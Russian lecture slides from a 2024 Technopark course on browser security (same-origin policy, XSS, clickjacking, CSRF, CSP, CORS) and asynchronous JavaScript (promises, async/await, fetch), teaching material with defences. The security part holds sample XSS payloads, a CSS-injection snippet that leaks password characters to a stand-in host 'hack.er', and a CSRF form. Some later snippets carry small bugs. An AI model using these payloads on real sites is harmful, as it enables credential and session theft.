Технопарк, осень, 2024 г.
Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников
Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт
У этих ресурсов одинаковые источники:
http://site.com
http://site.com/
http://site.com/my/page.html
У этих ресурсов разные источники:
http://site.com
http://www.site.com
(другой домен)http://site.org
(другой домен)https://site.com
(другой протокол)http://site.com:8080
(другой порт)Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:
<script src="..."></script>
<link rel="stylesheet" href="...">
<img>
, media files with <video>
and <audio>
<object>
, <embed>
and <applet>
Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника
С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DDOS-атаку
<?php
$name = $_REQUEST ['name'];
?>
<html>
<head><title>Портал Технопарка</title></head>
<body>
Hello, <?php echo $name; ?>!
</body>
</html>
const html = '<script>alert("XSS")</script>';
const link =
'https://park.mail.ru/?name=' + encodeURIComponent(html);
console.log(link);
// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
const response = http.get('/message');
const messageText = response.content;
const chat = document.getElementById('chat');
chat.innerHTML += messageText;
// так не сработает
chat.innerHTML += `
</div><script>alert("XSS")</script>
`;
// а вот так - получится
chat.innerHTML += `
</div><img src="/404.png" onerror="alert('XSS')">
`;
// делаем сайт с oauth-авторизацией
const backRedirectUrl =
new URLSearchParams(window.location.search).get('back');
const link = document.createElement('a');
link.textContent = 'Click Me!';
link.href = backRedirectUrl;
document.appendChild(link);
// находимся на
// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3B
const backRedirectUrl = // "javascript:alert('XSS');"
new URLSearchParams(window.location.search).get('back');
const link = document.createElement('a');
link.href = backRedirectUrl;
// <a href="javascript:alert('XSS');">Click Me!<a>
const avatarUrl = http.get('/me').avatarUrl;
const styleContent = `
`#avatar {`
` background: url(${avatarUrl});`
`}`
`;
const style = document.createElement('style');
style.textContent = styleContent;
document.appendChild(style);
const avatarUrl = http.get('/me').avatarUrl;
console.log(avatarUrl); -> `);}`
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
`abc { background: url(`
#avatar {
background: url();}
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
div { background: url();
}
#avatar {
background: url();}
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
div { background: url();
}
<iframe>
Элемент
<iframe>
создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы
<iframe>
<iframe src="https://example.com/" width="900" height="500">
Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу
opacity: 0;
и позиционируем под курсором пользователяИспользуем заголовок X-Frame-Options
:
X-Frame-Options: DENY
— запрещает открывать сайт внутри iframeX-Frame-Options: SAMEORIGIN
— разрешает открывать сайт внутри iframe на страницах с тем же самым originX-Frame-Options: ALLOW-FROM https://example.com/
— разрешает открывать сайт внутри iframe на страницах с указанным originУ элемента iframe
есть свойства, позволяющие получить доступ до содержимого страницы:
iframe.contentWindow
— ссылка на window
страницы,iframe
iframe.contentWindow.document
— ссылка на document
страницы, загруженной в iframe
window.parent
— внутри iframe
ссылается на родительский документwindow.top
— внутри iframe
ссылается самый верхний родительский элемент (в случае iframe в iframe)iframe
всегда накладываются ограничения, диктуемые iframe
загружен ресурс с другим Origin, то эти две страницы не имеют доступа друг до друга через iframe.contentWindow
и window.parent
window.parent.location
разрешена, а чтение — запрещеноiframe
есть атрибут sandbox
с возможными значениями: allow-same-origin
, allow-top-navigation
, allow-forms
, allow-scripts
Присваивая в document.domain
одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую
// на странице https://park.mail.ru/
document.domain; // 'park.mail.ru'
document.domain = 'mail.ru'; // success
document.domain = 'e.mail.ru'; // error
document.domain = 'google.com'; // error
// на странице https://e.mail.ru/
document.domain = 'mail.ru'; // success
otherWindow.postMessage(message, targetOrigin);
// otherWindow - любой объект класса Window
// - текущий window
// - полученный через вызов window.open()
// - полученный через iframe.contentWindow или window.parent
// targetOrigin - origin ресурсов, которые получат сообщения
// можно указать wildcard: '*'
window.addEventListeners('message', function (event) {
console.log(event.data); // присланные данные
console.log(event.origin); // origin, из которого пришло сообщение
console.log(event.source); // ссылка на окно-отправитель сообщения
});
<form action="https://e.mail.ru/api/v1/messages/send" method="POST">
<input name="message" value="Evil message">
<!-- ... -->
</form>
submit()
у формыhttps://e.mail.ru/api/v1/messages/send
Cookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса
Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)
X-CSRF-Token
сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookies
Samesite — сравнительно новый параметр кук, предоставляющий дополнительный контроль над их передачей согласно Origin policy. Важно заметить, что данная настройка работает только с secure cookies.
Возможные значения: Strict, Lax (by default), None.
Set-Cookie: foo=bar; SameSite=Lax
Cookies с `samesite=strict` никогда не отправятся, если пользователь пришёл не с этого же сайта.
Важно помнить, что cookies не будут пересылаться также при навигации высокого уровня (т.е. даже при переходе по ссылке)
Пример: vk.com -> site.com -> cookies не передаются
Cookies с `samesite=lax` отправляются, если выполняются два условия:
Content-Security-Policy (CSP) aka Це SP — HTTP-заголовок*, регулирующий список доверенных источников и тип взаимодействия с ними
Пример:
Content-Security-Policy: script-src 'self' https://mail.ru
*: <meta http-equiv="Content-Security-Policy" content="script-src 'self' https://mail.ru" />
Нет fallback на default-src для:
Какими свойствами должна обладать хорошая политика безопасности?
Как запустить и не сломать production?
Есть 2 режима работы:
Cross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы
// Находимся на https://evil.com/
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
xhr.send();
console.log(xhr.responseText)
Простыми считаются запросы, если они удовлетворяют следующим двум условиям:
Accept
Accept-Language
Content-Language
Content-Type
application/x-www-form-urlencoded
multipart/form-data
text/plain
GET /data HTTP/1.1
Host: e.mail.ru
Origin: http://frontend.tech-mail.ru /// <- выставляет браузер
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: http://frontend.tech-mail.ru
// Access-Control-Allow-Origin: *
// Проверяет браузер
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: http://frontend.tech-mail.ru
...
X-UID: 42
X-Secret: 2c9de507f2c54aa1
Access-Control-Expose-Headers: X-Uid, X-Secret
// Cache-control, Content-Language, Content-Type, Expires, Last-Modified, Pragma
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: domain // '*' запрещено
Access-Control-Allow-Credentials: true
// Ставим заголовок, если хотим сделать Set-Cookies
Остальные запросы считаются
"непростыми"
, и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы
всегда отсылаются со специальным заголовком Origin
При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.
Access-Control-Request-Method
,
а если добавлены особые заголовки, то и их тоже — в Access-Control-Request-Headers
.
Origin
Ответ на предзапрос может содержать следующие заголовки
HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POST
Access-Control-Allow-Headers: Content-Type, User-Agent ...
... X-Requested-With, If-Modified-Since, Cache-Control
Access-Control-Max-Age: 86400
В чем проблемы данного кода?
location /api/v1/info {
add_header 'Access-Control-Allow-Origin' '*';
add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS';
add_header 'Access-Control-Allow-Headers' 'Content-Type, User-Agent';
add_header 'Access-Control-Expose-Headers' 'X-Uid, X-Authentication';
auth_basic "closed site";
auth_basic_user_file conf/htpasswd;
}
//подсказка
XMLHttpRequest.open(method, url[, async[, user[, password]]])
А тут?
location /api/v1/info {
add_header X-Content-Type-Options nosniff;
add_header Vary Origin;
# CORS setup
if ($cors = 'enabled') {
add_header Access-Control-Allow-Origin $http_origin;
# ...
}
}
// какие заголовки будут для $cors=enabled|false?
Как реализовать кроссдоменную авторизацию, если у вас есть два сайта example1.com и example2.com? Если пользователь авторизуется на одном из них, то зайдя на второй, он там тоже будет авторизован. Перечислите минимум 3 способа с их плюсами и минусами (в т.ч. для восприятия пользователем).
API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений
API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована
Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы
Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка
– Работодатель: Назовите вашу главную слабость
– Кандидат: Я даю
семантически
корректные, но практически неприменимые ответы на вопросы
– Работодатель: Могли бы вы привести пример?
– Кандидат: Да, мог бы
CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP
REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система
Все типы ресурсов делятся на две категории:
Коллекция книг (books):
/books
/books/2-266-11156-6
/books/3-720-55486-7
/books/1-054-55901-2
Коллекция пользователей (users):
/users
/users/id2
/users/id432
/users/id1211177181
Получение всех книг
GET /books HTTP/1.1
Host: awesome.com
Получение конкретной книги
GET /books/3-720-55486-7 HTTP/1.1
Host: awesome.com
Удаление конкретной книги
DELETE /books/3-720-55486-7 HTTP/1.1
Host: awesome.com
http.ajaxGet('/user', function (err, user) {
if (err) {
console.error(err);
return;
}
console.log('User is', user);
});
console.log('Waiting...');
http.ajaxPost('/signup', user, function (err, resp1) {
if (err) { return console.error(err); }
http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
if (err) { return console.error(err); }
http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
if (err) { return console.error(err); }
// ... callback hell!
});
});
});
http.ajaxPost('/signup', user, onSignup);
function onSignup (err, resp1) {
if (err) { return console.error(err); }
http.ajaxGet(`/users/${resp1.id}`, onLoadUser);
}
function onLoadUser (err, resp2) {
if (err) { return console.error(err); }
http.ajaxGet(`/photos/${resp2.avatarId}`, onLoadAvatar);
}
try {
// Выбрасываем исключение вручную
throw 'Ooops!';
} catch (err) {
alert(err); // Привет, я ошибка!
}
try {
http.ajaxGet('/user', function (err) {
if (err) {
throw err;
}
console.log('User is', user);
});
} catch (err) {
alert(err); // Не выполнится
}
const callback = function (err) {
if (err) {
throw err;
}
console.log('User is', user);
};
try {
http.ajaxGet('/user', callback);
} catch (err) {
alert(err); // Не выполнится
}
Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта
Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания
Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем
Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:
- вначале pending («ожидание»)
- затем либо fulfilled («выполнено успешно»)
- либо rejected («выполнено с ошибкой»)
const promise = new Promise(function(resolve, reject) {
// Здесь можно выполнять любые действия
// вызов resolve(result) переведёт промис в состояние fulfilled
// вызов reject(error) переведёт промис в состояние rejected
});
// Можно создать сразу "готовый" промис
const fulfilled = Promise.resolve(result);
// const fulfilled = new Promise((resolve, _) => resolve(result));
const rejected = Promise.reject(error);
// const rejected = new Promise((_, reject) => reject(error));
Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:
onFulfilled
— срабатывают, когда promise находится в состоянии «выполнен успешно»onRejected
— срабатывают, когда promise находится в состоянии «выполнен с ошибкой»const promise = new Promise( ... );
// Можно навесить их одновременно
promise.then(onFulfilled, onRejected);
// Можно по отдельности
// Только обработчик onFulfilled
promise.then(onFulfilled);
// Только обработчик onRejected
promise.then(null, onRejected);
promise.catch(onRejected); // Или так
const promise = new Promise(function(resolve, reject) {
// do smth
resolve('success'); // or
// reject(new Error('failure'));
});
promise
.then(res => console.log(res))
.catch(err => console.error(err));
// 'cb1 success', 'cb2 success'
const promise = Promise.resolve('success');
promise.then(res => { console.log('cb1', res); }); // 1
promise.then(res => { console.log('cb2', res); }); // 2
// 'value 1', 'value 2', 'value 3'
const promise = Promise.resolve('value 1');
const p2 = promise
.then(res => { console.log(res); return 'value 2'; }) // 1
.then(res => { console.log(res); return 'value 3'; }) // 2
.then(res => { console.log(res); }); // 3
p2 === promise // false
// 'value 1', 'Error!', 'Error catched!'
const promise = Promise.resolve('value 1');
promise
.then(res => { console.log(res); throw 'Error!'; }) // 1
.then(res => { console.log('foo'); })
.then(res => { console.log('bar'); })
.then(res => { console.log('baz'); })
.catch(err => { console.error(err); return 'Error catched!'; }) // 2
.then(res => { console.log(res); }); // 3
// 'foo', 'baz', 'bar', 'foobar'
const promise1 = Promise.resolve('foo')
.then(res => { console.log(res); return 'bar'; }); // foo
const promise2 = Promise.resolve('baz')
.then(res => { console.log(res); return promise1; }) // baz
.then(res => { console.log(res); return 'foobar'; }) // bar
.then(res => { console.log(res); }); // foobar
Оборачивание асинхронного функционала в функцию, возвращающую промис
function PromiseGet(url) {
return new Promise(function (resolve, reject) {
http.Get(url, function (err, response) {
if (err) { reject(err) }
resolve(response);
});
});
}
http.ajaxPost('/signup', user, function (err, resp1) {
if (err) { return console.error(err); }
http.ajaxGet(`/users/${resp1.id}`, function (err, resp2) {
if (err) { return console.error(err); }
http.ajaxGet(`/photos/${resp2.avatarId}`, function (err, avatar) {
if (err) { return console.error(err); }
// ... callback hell!
});
});
});
PromisePost('/signup', user)
.then(resp1 => PromiseGet(`/users/${resp1.id}`))
.then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`))
.then(avatar => { ... })
.catch(err => console.error(err));
Promise.all
// Делаем что-нибудь асинхронное и важное параллельно
Promise.all([
PromiseGet('/user/1'),
PromiseGet('/user/2'),
]).then(function(users) {
// Результатом станет массив из значений всех промисов
users.forEach(function(user, i) {
console.log(`User #${i}: ${value}`);
});
});
Promise.race
// Делаем что-нибудь асинхронное и важное наперегонки!
Promise.race([
promiseSomething(),
promiseSomethingElse()
]).then(function(result) {
// Результатом станет значение самого "быстрого" промиса
console.log(`Result: ${value}`);
});
Promise.any
// вернет первое fulfilled, либо будет rejected с массивом причин
const promises = [
Promise.reject('ERROR A'),
Promise.reject('ERROR B'),
Promise.resolve('result'),
]
Promise.any(promises)
.then((result) => console.log(result));
// result
Promise.allSettled
Метод Promise.allSettled() возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.
const promise1 = Promise.resolve(3);
const promise2 = new Promise(
(resolve, reject) => setTimeout(reject, 100, 'foo')
);
const promises = [promise1, promise2];
Promise.allSettled(promises).
then((results) => results.forEach((result) => console.log(result.status)));
// "fulfilled", "rejected"
// Третий аргументы в setTimeout?
async function f() {
return 1;
}
// async-функции всегда возвращают promise
async function f1() {
return 1;
}
async function f2() {
return Promise.resolve(1);
}
f1().then(console.log) // 1
f2().then(console.log) // 1
// await останавливает выполнение и ждет резолва
let value = await promise;
async function f() {
let p = new Promise((resolve)=> setTimeout(()=>resolve('done'), 1000))
let result = await p; // будет ждать 1сек
console.log(result)
}
// await нельзя использовать в обычных функциях
// обработка ошибок
async function f() {
await Promise.reject(new Error('Oops')); // throw new Error('Oops');
}
// можно использовать try-catch как в синхронном блоке
// обработка ошибок
async function f() {
try {
let response = await throwable();
} catch (error) {
console.log(error); // gotcha! 🤠
}
}
Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах
// Синтаксис метода fetch:
const fetchPromise = fetch(url[, options]);
method
— метод запросаheaders
— заголовки запроса (объект)body
— тело запроса: FormData
, Blob
, строка и т.п.mode
— одно из: «same-origin», «no-cors», «cors», указывает, в каком режиме кросс-доменности предполагается делать запросcredentials
— одно из: «omit», «same-origin», «include», указывает, пересылать ли куки и заголовки авторизации вместе с запросомcache
— одно из «default», «no-store», «reload», «no-cache», «force-cache», «only-if-cached», указывает, как кешировать запросfetch('/books', {
method: 'POST',
mode: 'cors',
credentials: 'include',
data: JSON.stringify({
title: 'Изучение Фронтенда',
authors: [
'Анатолий Остапенко', 'Дмитрий Дорофеев',
'Сергей Володин', 'Алексей Тюльдюков'
]
})
});
fetch('/books', {
method: 'POST',
mode: 'cors',
credentials: 'include',
data: JSON.stringify({
title: 'Изучение Фронтенда',
authors: [
'Анатолий Остапенко', 'Дмитрий Дорофеев',
'Сергей Володин', 'Алексей Тюльдюков'
]
})
});